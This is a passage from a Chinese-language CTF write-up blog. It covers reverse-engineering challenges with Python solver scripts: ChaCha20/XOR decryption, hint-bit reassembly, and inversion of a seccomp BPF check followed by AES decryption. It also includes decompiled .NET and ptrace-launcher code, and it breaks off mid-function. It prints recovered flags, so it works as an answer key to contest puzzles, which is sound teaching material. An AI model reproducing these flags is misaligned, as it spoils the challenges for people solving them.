             0x74, 0x68, 0x65, 0x20, 0x42, 0x6F, 0x6F, 0x6B, 0x20, 0x6F, 
             0x66, 0x20])
nonce = bytes([0x57, 0x68, 0x61, 0x74, 0x27, 0x73, 0x20, 0x79, 0x6F, 0x75, 0x72, 0x20])

# 初始化ChaCha20并生成密钥流
cipher = ChaCha20.new(key=key, nonce=nonce)
state_0 = cipher.encrypt(bytes(64))[:51]  # 生成64字节块后取前51字节

# 目标密文数据
RAND_POOL = bytes([
  0x64, 0x6A, 0x50, 0x17, 0x81, 0x7D, 0x6F, 0x1A, 0x87, 0xB1, 
  0xA4, 0x00, 0x09, 0x03, 0xF8, 0x8D, 0xF8, 0x6B, 0xDF, 0x32, 
  0x5F, 0x40, 0x90, 0x9C, 0xB8, 0x3D, 0x86, 0x13, 0x26, 0xB7, 
  0x63, 0xF7, 0x74, 0xE8, 0x53, 0xED, 0x58, 0x20, 0x4F, 0xD9, 
  0x99, 0x26, 0x21, 0x37, 0xDE, 0x35, 0x76, 0xC8, 0xBC, 0xD0, 
  0x6E
])

# 逆向异或操作
ebp_mask = 0x46  # 初始掩码
flag = []
for i, c in enumerate(RAND_POOL):
    # 解密流程 (逆向运算)
    decrypted = (c ^ ebp_mask) ^ state_0[i]
    flag.append(decrypted)
    
    # 更新掩码 (必须模拟加密时的掩码生成过程)
    ebp_mask = (ebp_mask ^ (decrypted ^ state_0[i])) &amp;#x26; 0xFF

print(bytes(flag))&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;figure&gt;&lt;img alt=&quot;img&quot; width=&quot;835&quot; height=&quot;36&quot; src=&quot;https://sh10rl.top/_astro/1753535091921-121.OPneqvDL_ZSwSjr.webp&quot;&gt;&lt;/figure&gt;
&lt;p&gt;两个问题：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;再launcher的调试下，&lt;code&gt;sys_write&lt;/code&gt;不管用了，因为强制了syscall返回&lt;code&gt;-1&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;最后的汇编有一个hlt，我看见了调用编号为9的函数内：&lt;/li&gt;
&lt;/ul&gt;
&lt;figure&gt;&lt;img alt=&quot;img&quot; width=&quot;991&quot; height=&quot;248&quot; src=&quot;https://sh10rl.top/_astro/1753535091921-122.Dk6PxMp0_Z1fdzNt.webp&quot;&gt;&lt;/figure&gt;
&lt;ul&gt;
&lt;li&gt;如何跳过玩家HP校验，让game一直进行到21层的？&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;invest-in-hint&quot;&gt;invest in hint&lt;/h2&gt;
&lt;blockquote&gt;
&lt;ol&gt;
&lt;li&gt;将二进制反转&lt;/li&gt;
&lt;li&gt;二进制里面的每一个‘1’都对应那行字符串的一个字符（从左到右顺序）（因为每行二进制的‘1’的个数正好是对应字符串的长度）&lt;/li&gt;
&lt;li&gt;设二进制里的‘1’为有效位&lt;/li&gt;
&lt;li&gt;编写脚本：将所有二进制行的有效位对应的字符存入flag数组（长度为71）中，注意存入的位置要与该行二进制位的位置一样，若flag数组的目标位置已经有字符，则不存&lt;/li&gt;
&lt;/ol&gt;
&lt;/blockquote&gt;
&lt;p&gt;Exp:&lt;/p&gt;
&lt;div class=&quot;code folded&quot;&gt;&lt;pre&gt;&lt;code&gt;## 二进制数据
binary_hints = [
    &quot;00100011110110000000000000000000101110001001000000001011110010100110000&quot;,
    &quot;00000011001110001001000000000110110010000100010100000000011011100010110&quot;,
    &quot;00000000000010001101010111010110001000010110010001100011010000000100101&quot;,
    &quot;11100000111010000011100110100100001000000100001100100001001000001010000&quot;,
    &quot;00010000000110100011110000011001101011000000000000000000100100101001110&quot;,
    &quot;00000111001000010011001000100010010111011110111101001000010010000101110&quot;,
    &quot;00011000100010001001101100000101101010010100110000011000000001010100001&quot;,
    &quot;00000101110110000010100001100001100000100100110000010010000010111100000&quot;,
    &quot;10101010100001000100011010000000000000101110010010000000010010010110010&quot;,
    &quot;11110000100010010101001001110000100100110011001000111011001100101001001&quot;,
    &quot;00101000100010000110100000010001110001011000000000010000011000100010010&quot;,
    &quot;10110010010110001000111100010000000010001000001110100011100001000010100&quot;,
    &quot;00000010000000000000001000100100011010001010000101000000001011101000010&quot;,
    &quot;00101010000011110101000110100011101100010100000111010010011000000000110&quot;,
    &quot;00001101001111010100111011011101100001101101010110000001001010000010000&quot;,
    &quot;00001000000101010110011100010000101101000010001111011100000000101001010&quot;
]

## 对应字符串
string_lines = [
    &quot;aAug5MkyAzq6Dr2mCALwmH&quot;,
    &quot;AuYMk9CKay2q9NCADLEwH42&quot;,
    &quot;k99C7r0gSKaAi91Nxu2mAm4}&quot;,
    &quot;hgag5YkACir0QKA9lCumDdH&quot;,
    &quot;mMk3ACi7SCWyAq3C5wda42&quot;,
    &quot;{AuYoACLQa2zq3i691hNlCxrALma42&quot;,
    &quot;megk9CiLrKWyAqi9hN8rELm}&quot;,
    &quot;{ug5MkAigQWyt9hN82LwLdm&quot;,
    &quot;haeAgf97L0t691NbALLmH2&quot;,
    &quot;hgamgko9CLgQSyzti1Dlu8r2mD5wda}&quot;,
    &quot;aegk9AiSWy23i68ADwH2&quot;,
    &quot;hamA5Mk9i7LrSq6lCbu2mCEH4&quot;,
    &quot;ALQK2Aq61CxDLEwd2&quot;,
    &quot;aeAkf3o9Cr0QaWyAzi9Cbx82AD42&quot;,
    &quot;e{uYMkfo9i7L0gSCKWy3t69DNCbmDLH&quot;,
    &quot;eMfo9A7LrSyAz31lCbx8rRwda2&quot;
]

## 初始化flag数组
flag = [None] * 71

## 处理每个二进制-字符串对
for bin_str, s in zip(binary_hints, string_lines):
    # 获取所有有效位（&apos;1&apos;的位置索引）
    active_indices = [idx for idx, bit in enumerate(bin_str) if bit == &apos;1&apos;]
    
    # 验证字符串长度与有效位数匹配
    if len(active_indices) != len(s):
        print(f&quot;Error: 有效位数量 ({len(active_indices)}) 与字符串长度 ({len(s)}) 不匹配&quot;)
        continue
    
    # 填充flag数组（跳过已填充的位）
    for pos, char in zip(active_indices, s):
        if flag[pos] is None:
            flag[pos] = char

## 组合最终结果并输出
final_flag = &apos;&apos;.join([c if c is not None else &apos;?&apos; for c in flag])
print(final_flag)
hgame{Aug5YMkf3o99ACi7Lr0gQSCKaWy2Azq3ti691DhNlCbxu8rR2mCAD5LEwLdmHa42}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h2 id=&quot;middlemen&quot;&gt;&lt;strong&gt;Middlemen&lt;/strong&gt;&lt;/h2&gt;
&lt;blockquote&gt;
&lt;ol&gt;
&lt;li&gt;找&lt;a href=&quot;https://github.com/lattera/glibc/blob/master/sysdeps/unix/sysv/linux/aarch64/sys/ucontext.h&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;ucontext_t&lt;/a&gt;结构体&lt;/li&gt;
&lt;li&gt;先&lt;code&gt;UsrInput[8:16] XOR &apos;Sevenlikeseccmop&apos;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;后&lt;code&gt;AES_ECB.encrypt(UsrInput) == Cipher&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;缺&lt;code&gt;UsrInput[8:16]&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;seccomp&lt;/code&gt;过滤器能够拦截特定的&lt;code&gt;syscall&lt;/code&gt;，其规则由BPF字节码撰写，由BPF虚拟机运行&lt;/li&gt;
&lt;li&gt;既然有虚拟机，那就一定有额外的校验逻辑能够约束得到这后八字节&lt;/li&gt;
&lt;li&gt;使用&lt;code&gt;seccomp-tools&lt;/code&gt;反汇编过滤规则（BPF字节码）&lt;/li&gt;
&lt;/ol&gt;
&lt;/blockquote&gt;
&lt;p&gt;syscall被拦截，进入信号处理函数：&lt;/p&gt;
&lt;figure&gt;&lt;img alt=&quot;img&quot; width=&quot;2453&quot; height=&quot;936&quot; src=&quot;https://sh10rl.top/_astro/1753535091921-123.Dl8oiJjx_1AvHi.webp&quot;&gt;&lt;/figure&gt;
&lt;p&gt;缺&lt;code&gt;Usrinput&lt;/code&gt;后八字节，看&lt;code&gt;seccomp&lt;/code&gt;的过滤规则：&lt;/p&gt;
&lt;p&gt;字节码：&lt;/p&gt;
&lt;figure&gt;&lt;img alt=&quot;img&quot; width=&quot;922&quot; height=&quot;1072&quot; src=&quot;https://sh10rl.top/_astro/1753535091921-124.DimEHPcp_Z1VmMMC.webp&quot;&gt;&lt;/figure&gt;
&lt;p&gt;&lt;code&gt;seccomp-tools&lt;/code&gt;反汇编：&lt;/p&gt;
&lt;figure&gt;&lt;img alt=&quot;img&quot; width=&quot;791&quot; height=&quot;866&quot; src=&quot;https://sh10rl.top/_astro/1753535091921-125.IXGe7seF_1iXMrM.webp&quot;&gt;&lt;/figure&gt;
&lt;div class=&quot;code&quot;&gt;&lt;pre&gt;&lt;code&gt;// 小端序,该算法可逆，应该可以解出args[2] args[3]
unsigned int args[6];
int nr = 0xAC
args[0] = *(_QWORD *)Str
args[1] = *(_QWORD *)&amp;#x26;Str[4]
args[2] = *(_QWORD *)&amp;#x26;Str[8]
args[3] = *(_QWORD *)&amp;#x26;Str[12]
args[4] = 0x221221LL

mem0 = args[2];                
mem1 = args[3];          

mem2 = (args[3] &amp;#x3C;&amp;#x3C; 4) + 0x65766573; 
temp = args[3] + 0x22122122;       
tmp = mem2 ^ temp; 
mem0 + tmp == 0x93cd6340 // 条件 1

mem0 = mem0 + tmp;
mem2 = (mem0 &gt;&gt; 5) + 0x6e6e6e6e;
temp2 = mem0 + 0x22122122; 
tmp2 = mem2 ^ temp2;  
mem1 + tmp2 == 0xb5f40d3f // 条件 2&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;GPT反编译：&lt;/p&gt;
&lt;div class=&quot;code folded&quot;&gt;&lt;pre&gt;&lt;code&gt;function filter(arch, sys_number, args):
{
    // --- 检查架构
    if ( arch != 0xc00000b7 )            // 0xc00000b7 表示 ARCH_AARCH64
        return ALLOW;                   // 跳转到 0040：返回 ALLOW

    // --- 从参数中取出数据
    mem0 = args[2];                     // 对应指令 0002~0003
    mem1 = args[3];                     // 对应指令 0004~0005

    // --- 第一阶段计算（指令 0006~0019）
    // 计算 mem2 = (args[3] &amp;#x3C;&amp;#x3C; 4) + 0x65766573
    // 其中 0x65766573 对应 ASCII “seve”（或“eves”，视大小端排列而定）
    mem2 = (args[3] &amp;#x3C;&amp;#x3C; 4) + 0x65766573;  // 指令 0006~0008

    // 取 args[3]，加上常量 0x22122122（即 571613474），存入临时变量 temp
    temp = args[3] + 0x22122122;         // 指令 0009~0012

    // 令 X = temp，然后计算：XOR 运算
    // 即：tmp = mem2 XOR temp
    tmp = mem2 ^ temp;                   // 指令 0014~0016（X 先保存了 temp 的值，经 mem2 异或后成为 tmp）

    // 将 mem0 与 tmp 相加，结果必须等于 0x93cd6340
    // 0x93cd6340 == 2479711040
    if ( mem0 + tmp != 0x93cd6340 )      // 指令 0017~0019
        return ALLOW;                  // 检测不符则跳转到 0040

    // 更新 mem0 为：mem0 = mem0 + tmp
    mem0 = mem0 + tmp;                   // 指令 0020

    // --- 第二阶段计算（指令 0021~0034）
    // 计算新 mem2 = (mem0 &gt;&gt; 5) + 0x6e6e6e6e
    // 0x6e6e6e6e 对应 ASCII &quot;nnnn&quot;
    mem2 = (mem0 &gt;&gt; 5) + 0x6e6e6e6e;      // 指令 0021~0023

    // 再次取 mem0，加上常量 0x22122122，得到 temp2
    temp2 = mem0 + 0x22122122;           // 指令 0024~0027（先将 mem0 取出，再加常量）

    // 令 tmp2 = mem2 XOR temp2
    tmp2 = mem2 ^ temp2;                 // 指令 0029~0031

    // 计算 mem1 + tmp2，结果必须等于 0xb5f40d3f
    // 0xb5f40d3f == 3052670271
    if ( mem1 + tmp2 != 0xb5f40d3f )     // 指令 0032~0034
        return ALLOW;                  // 不符则返回 ALLOW

    // --- 检查系统调用号和额外参数（指令 0035~0038）
    if ( sys_number != 0xac )           // 0xac 表示 aarch64.getpid 的 syscall 编号
        return ALLOW;                  // 指令 0035~0036

    if ( args[4] != 0x221221 )           // 指令 0037~0038
        return ALLOW;

    // --- 所有检测均通过
    return TRAP;                       // 指令 0039返回 TRAP

    // 注意：后面两个 return 指令（0040 返回 ALLOW、0041 返回 ERRNO(0)）是作为跳转目标，
    //       当检测失败时跳转到 0040，从而返回 ALLOW；而 0041 则永远不会被执行。
}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Exp1:&lt;/p&gt;
&lt;div class=&quot;code&quot;&gt;&lt;pre&gt;&lt;code&gt;def decrypt():
    # 常量定义（均为32位无符号整数运算）
    CONST1   = 0x65766573        # mem2第一部分常量
    CONST2   = 0x22122122        # 加法常量
    TARGET1  = 0x93cd6340        # 条件1： args[2] + tmp == TARGET1
    CONST3   = 0x6e6e6e6e        # mem2第二部分常量
    TARGET2  = 0xb5f40d3f        # 条件2： args[3] + tmp2 == TARGET2

    mem2_2 = ((TARGET1 &gt;&gt; 5) + CONST3) &amp;#x26; 0xffffffff
    temp2  = (TARGET1 + CONST2) &amp;#x26; 0xffffffff
    tmp2   = mem2_2 ^ temp2
    y = (TARGET2 - tmp2) &amp;#x26; 0xffffffff

    # 根据条件1反推 x
    mem2_1 = ((y &amp;#x3C;&amp;#x3C; 4) + CONST1) &amp;#x26; 0xffffffff
    temp   = (y + CONST2) &amp;#x26; 0xffffffff
    tmp    = mem2_1 ^ temp
    x = (TARGET1 - tmp) &amp;#x26; 0xffffffff

    return x, y

if __name__ == &quot;__main__&quot;:
    x, y = decrypt()
    print(&quot;解密结果:&quot;)
    print(&quot;args[2] = 0x{:08X}&quot;.format(x))
    print(&quot;args[3] = 0x{:08X}&quot;.format(y))
&quot;&quot;&quot;
args[2] = 0x4D19D88C
args[3] = 0xEF20AF55
&quot;&quot;&quot;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Exp2:&lt;/p&gt;
&lt;div class=&quot;code&quot;&gt;&lt;pre&gt;&lt;code&gt;from Crypto.Cipher import AES

# 题目给出的 16 字节密文
cipher_bytes = bytes([
    0xB7, 0x62, 0x40, 0x6A, 0xEB, 0x70, 0xB9, 0xED,
    0x81, 0x71, 0xDB, 0x9D, 0xAC, 0x82, 0xFF, 0x94
])

# 给定字符串
s = &quot;Sevenlikeseccmop&quot;  # 长度 16

args2 = int.to_bytes(0x4D19D88C, length=4, byteorder=&apos;little&apos;) # 8cd81965
args3 = int.to_bytes(0xEF20AF55, length=4, byteorder=&apos;little&apos;) # 55af20d7 
combine = args2 + args3
print(combine)

aes_key = bytes(combine[i % 8] ^ ord(s[i]) for i in range(16))

cipher = AES.new(aes_key, AES.MODE_ECB)
plaintext = cipher.decrypt(cipher_bytes)

print(&quot;解密结果（Hex 表示）  :&quot;, plaintext.hex())
# hgame{34ae7f8b-6059-4587-8cd8-194d55af20ef}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;figure&gt;&lt;img alt=&quot;img&quot; width=&quot;405&quot; height=&quot;26&quot; src=&quot;https://sh10rl.top/_astro/1753535091921-126.ssv18dyW_18iQb3.webp&quot;&gt;&lt;/figure&gt;
&lt;h2 id=&quot;附录&quot;&gt;附录&lt;/h2&gt;
&lt;h3 id=&quot;逆出来的net主函数&quot;&gt;逆出来的&lt;code&gt;.NET&lt;/code&gt;主函数&lt;/h3&gt;
&lt;div class=&quot;code folded&quot;&gt;&lt;pre&gt;&lt;code&gt;__int64 FastAndFrustrating_FastAndFrustrating_Program__Main()
{
  Class *SomeClass; // rbx
  __int64 v1; // rsi
  _UNKNOWN **Line; // rdx
  unsigned __int64 Input; // rax
  __int64 MemStream; // rsi
  GCSTATICS *GCSTATICS; // rdi
  __int64 b46Decoded; // rax
  __int64 GZipDecompressedStream; // r14
  void **ConstrsContext; // rax
  unsigned __int64 CorrectInputJsonObject; // rax
  JsonObject *JsonObject; // rcx
  SomeStr_1 *mat_a; // rsi
  __int64 DelInstance; // r15
  JsonObject *temp; // rsi
  SomeStr_2 *vec_b; // r15
  SomeStr_1 *Mat_a; // rsi
  __int64 DelInst; // r13
  __int64 res; // rsi
  AESInstance *AES; // rsi
  ConmmonStr *ikm; // r13
  int IV_Size; // r12d
  int Key_IV_Length; // ebx
  __int64 v22; // r12
  __int64 Keyinfo; // rax
  ConmmonStr *Key_derived; // rbx
  int KeySize; // eax
  __int64 SubArray_UInt8; // rax
  ConmmonStr *Cipher; // rax
  _BYTE *CipherContent; // rdi
  int CipherLen; // r13d
  unsigned int Key_Length; // r15d
  unsigned int IVLength; // ecx
  _BYTE *IV_Str; // rcx
  unsigned int IV_length; // edx
  unsigned int v34; // eax
  __int64 Result; // rax
  __int64 String; // rax
  __int128 IV; // [rsp+40h] [rbp-68h] BYREF
  __int128 cipher; // [rsp+50h] [rbp-58h] BYREF
  __int64 Size; // [rsp+60h] [rbp-48h]

  IV = 0LL;
  cipher = 0LL;
  SomeClass = (Class *)RhpNewFast(&amp;#x26;FastAndFrustrating_FastAndFrustrating_Program___c__DisplayClass3_0::`vftable&apos;);
  System_Console_System_Console__Write_15(&amp;#x26;_Str_Give_me_your_key____D0E89D1A9D72C2840D5ED16F3F9B221A4D37C237A4202F7E37B797AC4245CDAD);
  if ( *(&amp;#x26;___NONGCSTATICS_S_P_CoreLib_System_Text_ASCIIEncoding__ - 1) )
    _GetGCStaticBase_S_P_CoreLib_System_Text_ASCIIEncoding();
  v1 = *(_QWORD *)(___GCSTATICS_S_P_CoreLib_System_Text_ASCIIEncoding__ + 8);
  Line = (_UNKNOWN **)System_Console_System_Console__ReadLine();
  if ( !Line )
    Line = &amp;#x26;_Str_;
  Input = (*(__int64 (__fastcall **)(__int64, _UNKNOWN **))(*(_QWORD *)v1 + 120LL))(v1, Line);
  RhpAssignRefAVLocation((unsigned __int64 *)&amp;#x26;SomeClass-&gt;UsrInput, Input);
  MemStream = RhpNewFast(&amp;#x26;S_P_CoreLib_System_IO_MemoryStream::`vftable&apos;);
  if ( *(&amp;#x26;___NONGCSTATICS_FastAndFrustrating_FastAndFrustrating_Program__ - 1) )
    _GetGCStaticBase_FastAndFrustrating_FastAndFrustrating_Program();
  GCSTATICS = (GCSTATICS *)GCSTATICS_Program;
  b46Decoded = S_P_CoreLib_System_Convert__FromBase64String(*(_QWORD *)(GCSTATICS_Program + 8));
  S_P_CoreLib_System_IO_MemoryStream___ctor_2(MemStream, b46Decoded, 1LL);
  GZipDecompressedStream = RhpNewFast(&amp;#x26;System_IO_Compression_System_IO_Compression_GZipStream::`vftable&apos;);
  System_IO_Compression_System_IO_Compression_GZipStream___ctor_0(GZipDecompressedStream, MemStream, 0LL, 0LL);
  if ( *(&amp;#x26;___NONGCSTATICS_FastAndFrustrating_FastAndFrustrating_ConstrsJsonContext__ - 1) )
    _GetGCStaticBase_FastAndFrustrating_FastAndFrustrating_ConstrsJsonContext();
  ConstrsContext = FastAndFrustrating_FastAndFrustrating_ConstrsJsonContext__get_Constrs(*(_QWORD *)(___GCSTATICS_FastAndFrustrating_FastAndFrustrating_ConstrsJsonContext__ + 16));
  CorrectInputJsonObject = JsonSerializer__Deserialize(
                             &amp;#x26;_GenericDict_System_Text_Json_System_Text_Json_JsonSerializer__Deserialize_21_FastAndFrustrating_FastAndFrustrating_Constrs_,
                             GZipDecompressedStream,
                             ConstrsContext);
  RhpAssignRefAVLocation((unsigned __int64 *)&amp;#x26;SomeClass-&gt;JsonObject, CorrectInputJsonObject);
  JsonObject = SomeClass-&gt;JsonObject;
  if ( JsonObject )
  {
    mat_a = JsonObject-&gt;mat_a;
    if ( mat_a )
    {
      if ( mat_a-&gt;Length &gt; 0 &amp;#x26;&amp;#x26; mat_a-&gt;Length == JsonObject-&gt;vec_b-&gt;Length )// Check Length
      {
        DelInstance = RhpNewFast(&amp;#x26;S_P_CoreLib_System_Func_2___Array_Int32___Bool_::`vftable&apos;);
        _DelegateCtor_S_P_CoreLib_System_Delegate__InitializeClosedInstance__FastAndFrustrating_FastAndFrustrating_Program___c__DisplayClass3_0___Main_b__0(
          DelInstance,
          (__int64)SomeClass);
        if ( (unsigned int)System_Linq_System_Linq_Enumerable__All_System___Canon_(
                             &amp;#x26;_GenericDict_System_Linq_System_Linq_Enumerable__All___Array_Int32__,
                             mat_a,
                             DelInstance) )
        {
          temp = SomeClass-&gt;JsonObject;
          vec_b = temp-&gt;vec_b;
          if ( LODWORD(SomeClass-&gt;UsrInput-&gt;Length) != vec_b-&gt;Length
            || (Mat_a = temp-&gt;mat_a,
                DelInst = RhpNewFast(&amp;#x26;S_P_CoreLib_System_Func_2_S_P_CoreLib_System_ValueTuple_2___Array_Int32___Int32___Bool_::`vftable&apos;),
                res = System_Linq_System_Linq_Enumerable__Zip_0_System___Canon__Int32_(
                        &amp;#x26;_GenericDict_System_Linq_System_Linq_Enumerable__Zip_0___Array_Int32___Int32_,
                        Mat_a,
                        vec_b),                 // Caculate Ax = b
                _DelegateCtor_S_P_CoreLib_System_Delegate__InitializeClosedInstance__FastAndFrustrating_FastAndFrustrating_Program___c__DisplayClass3_0___Main_b__1(
                  DelInst,
                  (__int64)SomeClass),
                !(unsigned int)System_Linq_System_Linq_Enumerable__All_S_P_CoreLib_System_ValueTuple_2_System___Canon__Int32__(
                                 (__int64)&amp;#x26;_GenericDict_System_Linq_System_Linq_Enumerable__All_S_P_CoreLib_System_ValueTuple_2___Array_Int32___Int32__,
                                 res,
                                 DelInst)) )    // compare(result_x, UsrInput)
          {
            System_Console_System_Console__WriteLine_12(&amp;#x26;_Str_Try_again__9A6F7D76B5372DD9138EB55694976E1F946617CC48B7F18BECFC267CE0E4BAA0);
            return _InterfaceDispatchCell_S_P_CoreLib_System_IDisposable__Dispose_FastAndFrustrating_FastAndFrustrating_Program__Main(GZipDecompressedStream);
          }
          AES = (AESInstance *)RhpNewFast(&amp;#x26;System_Security_Cryptography_System_Security_Cryptography_AesImplementation::`vftable&apos;);
          System_Security_Cryptography_System_Security_Cryptography_Aes___ctor(AES);
          ikm = SomeClass-&gt;UsrInput;
          IV_Size = ((__int64 (__fastcall *)(AESInstance *))AES-&gt;Methods-&gt;GetKeySize)(AES);
          Key_IV_Length = (int)(AES-&gt;Methods-&gt;GetIvSize(AES) + IV_Size) / 8;
          if ( *(&amp;#x26;___NONGCSTATICS_S_P_CoreLib_System_Text_UTF8Encoding__ - 1) )
            _GetGCStaticBase_S_P_CoreLib_System_Text_UTF8Encoding();
          v22 = ___GCSTATICS_S_P_CoreLib_System_Text_UTF8Encoding__;
          Keyinfo = GetBytes(*(_QWORD *)(___GCSTATICS_S_P_CoreLib_System_Text_UTF8Encoding__ + 8), GCSTATICS-&gt;KeyInfo);
          Key_derived = (ConmmonStr *)HKDF__DeriveKey((__int64)&amp;#x26;_Str_SHA256, (__int64)ikm, Key_IV_Length, 0LL, Keyinfo);
          KeySize = ((__int64 (__fastcall *)(AESInstance *))AES-&gt;Methods-&gt;GetKeySize)(AES);
          if ( KeySize / 8 &amp;#x3C; 0 )
            S_P_CoreLib_System_Index__ThrowValueArgumentOutOfRange_NeedNonNegNumException((unsigned int)(KeySize / 8));
          LODWORD(Size) = 0;
          HIDWORD(Size) = KeySize / 8;
          SubArray_UInt8 = S_P_CoreLib_System_Runtime_CompilerServices_RuntimeHelpers__GetSubArray_UInt8_(
                             Key_derived,
                             Size);
          AES-&gt;Methods-&gt;GetKey(AES, SubArray_UInt8);// Pass the Key
          Cipher = (ConmmonStr *)S_P_CoreLib_System_Convert__FromBase64String(GCSTATICS-&gt;Encrypted_Flag);
          if ( Cipher )
          {
            CipherContent = Cipher-&gt;StrContent;
            CipherLen = Cipher-&gt;Length;
          }
          else
          {
            CipherContent = 0LL;
            CipherLen = 0;
          }
          Key_Length = ((int (__fastcall *)(AESInstance *))AES-&gt;Methods-&gt;GetKeySize)(AES) / 8;
          IVLength = (int)AES-&gt;Methods-&gt;GetIvSize(AES) / 8;
          if ( Key_derived )
          {
            if ( IVLength + (unsigned __int64)Key_Length &amp;#x3C;= LODWORD(Key_derived-&gt;Length) )
            {
              v34 = IVLength;
              IV_Str = &amp;#x26;Key_derived-&gt;StrContent[Key_Length];// Get IV
              IV_length = v34;
              goto LABEL_29;
            }
          }
          else if ( !(Key_Length | IVLength) )
          {
            IV_Str = 0LL;
            IV_length = 0;
LABEL_29:
            *(_QWORD *)&amp;#x26;cipher = CipherContent;
            DWORD2(cipher) = CipherLen;
            *(_QWORD *)&amp;#x26;IV = IV_Str;
            DWORD2(IV) = IV_length;
            Result = AESDecCBC((__int64)AES, (__int64)&amp;#x26;cipher, &amp;#x26;IV, 2u);// AES Decrypt
            String = S_P_CoreLib_System_Text_UTF8Encoding_UTF8EncodingSealed__GetString(*(_QWORD *)(v22 + 8), Result);
            System_Console_System_Console__WriteLine_13(
              &amp;#x26;_Str_Good_job__Here_is_your_flag____B54570A8B75960258647708972072AECA79CAD4FF75EB8CCEC82836A136BFB03,
              String);
            _InterfaceDispatchCell_S_P_CoreLib_System_IDisposable__Dispose_FastAndFrustrating_FastAndFrustrating_Program__Main(AES);
            return _InterfaceDispatchCell_S_P_CoreLib_System_IDisposable__Dispose_FastAndFrustrating_FastAndFrustrating_Program__Main(GZipDecompressedStream);
          }
          S_P_CoreLib_System_ThrowHelper__ThrowArgumentOutOfRangeException();
        }
      }
    }
  }
  System_Console_System_Console__WriteLine_12(&amp;#x26;_Str_An_error_has_occured__58E42DDA92A22882359DDD4568D3BCE30A8B18043B88DBE9437ED44D45B6C43E);
  return _InterfaceDispatchCell_S_P_CoreLib_System_IDisposable__Dispose_FastAndFrustrating_FastAndFrustrating_Program__Main(GZipDecompressedStream);
}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3 id=&quot;逆出来的launcher&quot;&gt;逆出来的&lt;code&gt;launcher&lt;/code&gt;&lt;/h3&gt;
&lt;div class=&quot;code folded&quot;&gt;&lt;pre&gt;&lt;code&gt;__int64 __fastcall sub_555555555B9B(unsigned int pid)
{
  unsigned int PID; // ebx
  char i; // bl
  int Index; // ebx
  unsigned __int64 REG; // rax
  __int64 v5; // r15
  char Idx; // dl
  unsigned __int64 Funcret; // r15
  int (__fastcall *Func)(); // rax
  unsigned int pida; // [rsp+4h] [rbp-64h]
  __int64 regster; // [rsp+18h] [rbp-50h] BYREF
  _BYTE NOPInstruction[4]; // [rsp+22h] [rbp-46h] BYREF
  unsigned __int8 SIB_BYTE; // [rsp+26h] [rbp-42h]
  unsigned __int8 NOPInstruction_5; // [rsp+27h] [rbp-41h]
  unsigned __int64 v15; // [rsp+28h] [rbp-40h]

  PID = pid;
  v15 = __readfsqword(0x28u);
  waitpid(pid, 0LL, 0);
  ptrace(PTRACE_SETOPTIONS, pid, 0LL, 0x100000LL); // PTRACE_O_EXITKILL 
  while ( ptrace(PTRACE_SYSCALL, PID, 0LL, 0LL) &gt;= 0 )
  {
    // RIP 寄存器会指向 SYSCALL 指令的下一条指令

    // **等待syscall-enter通知**
    waitpid(PID, 0LL, 0); 
    ptrace(PTRACE_GETREGS, PID, 0LL, &amp;#x26;regs);
    Ptrace_Peektext(PTRACE_PEEKTEXT, PID, (__int64)ripData, regs.rip - 8, 6uLL);// rip - 8 取到了NOP调用的头
    
    // **检查头**
    if ( (ripData[0] &amp;#x26; 0xFC) != 0x48
      || ripData[1] != 0xF
      || ripData[2] != 0x1F
      || (ripData[3] &amp;#x26; 0xC7) != 0x44
      || ripData[5] != 0x7F )
    {
      regster = regs.rip;
      goto LABEL_41;
    }
    memset(IsEffective, 0, sizeof(IsEffective));
    Offset = 0LL;
    pida = PID;

    // **取参开始**
    for ( i = 0; ; i = 1 )
    {
      v5 = Offset;
      Ptrace_Peektext(PTRACE_PEEKTEXT, pida, (__int64)NOPInstruction, regs.rip + 6 * Offset, 6uLL); // 向后取
      // 读取参数和CALL_NUMBER
      if ( (NOPInstruction[0] &amp;#x26; 0xFC) != 0x48
        || NOPInstruction[1] != 0xF
        || NOPInstruction[2] != 0x1F
        || (NOPInstruction[3] &amp;#x26; 0xC7) != 0x44
        || NOPInstruction_5 == 0x7E )
      {
        // 检查尾
        break;
      }
      Index = (NOPInstruction_5 - 1) % 128;
      if ( SIB_BYTE &gt; 0x3Fu ) // 是否存在放缩（SIB最高2为是否 &gt; 0）
      {
        PtracePeekData(
          pida,
          (__int64)&amp;#x26;regster,                    // REX.B + SIB.Base
          regs.rsp + ((8 * (SIB_BYTE &amp;#x26; 7 | (unsigned __int8)(8 * (NOPInstruction[0] &amp;#x26; 1)))) &amp;#x26; 0x78),// 参数通过栈传递
          8uLL);
        Params[(unsigned __int8)Index] = regster;
      }
      else
      {
        switch ( SIB_BYTE &amp;#x26; 7 | (unsigned __int8)(8 * (NOPInstruction[0] &amp;#x26; 1)) )// 参数通过寄存器传递
        {
        // 查表取值
          case 0:
            REG = regs.orig_rax;
            break;
          case 1:
            REG = regs.rcx;
            break;
          case 2:
            REG = regs.rdx;
            break;
          case 3:
            REG = regs.rbx;
            break;
          case 4:
            REG = regs.rsp;
            break;
          case 5:
            REG = regs.rbp;
            break;
          case 6:
            REG = regs.rsi;
            break;
          case 7:
            REG = regs.rdi;
            break;
          case 8:
            REG = regs.r8;
            break;
          case 9:
            REG = regs.r9;
            break;
          case 10:
            REG = regs.r10;
            break;
          case 11:
            REG = regs.r11;
            break;
          case 12:
            REG = regs.r12;
            break;
          case 13:
            REG = regs.r13;
            break;
          case 14:
            REG = regs.r14;
            break;
          case 15:
            REG = regs.r15;
            break;
        }
        Params[(unsigned __int8)Index] = REG;
      }
      // 参数有效
      IsEffective[(unsigned __int8)Index] = 1;
      Offset = v5 + 1;
    }
    // **取参结束**

    // **调用函数与返回值**
    Idx = i;
